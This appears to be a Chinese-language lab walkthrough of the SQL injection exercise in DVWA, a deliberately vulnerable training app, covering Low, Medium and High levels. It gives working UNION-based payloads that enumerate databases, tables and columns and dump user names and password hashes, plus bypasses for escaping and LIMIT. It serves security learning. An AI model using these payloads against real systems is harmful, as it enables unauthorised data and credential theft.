一.Low篇;
1.登录DVWA;
(账号:admin 密码:password)
2.DVWA Security-->Low;
3.进入SQL Injection进行测试;
输入1;
4.查看源码;
构造SQL语句进行查询;
使用1'order by 1-- -,1'order by2-- -,1'order by3-- -......判断字段;
发现有两个字段;
再通过1' union select 1,2-- -得到可以显示数据的位置;
通过 1' union select database(),2-- -得到当前数据库的名称;
通过 1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()-- -得到数据库里面的表;
通过 1' union select group_concat(column_name),2 from information_schema.columns where table_name='user'-- -得到表的列名;
通过 1' union select group_concat(User),group_concat(Password) from users-- -得到对应列的数据
二.Medium篇;
1.进入Medium模式;
2.SQL Injection受到了限制;
3.对源码进行分析;
很容易发现该利用的是POST方式传递参数
mysqlirealescape_string会转义'、"等特殊字符
4.抓包后,在id处注入SQL语句;
继续之前的SQL语句操作;
获取库名;
获取表名;
获取列名(使用table_schema='users'报错);
需要对users进行转义,转义为16进制;
通过 1 union select group_concat(User),group_concat(Password) from users-- -得到对应列的数据;
三.High篇;
1.查看源码进行分析;
分析可知High级别的只是在SQL查询语句中添加了LIMIT 1,以LIMIT1控制只输出一个结果
但#会将其后的代码均注释掉,因此High并为起到防御作用;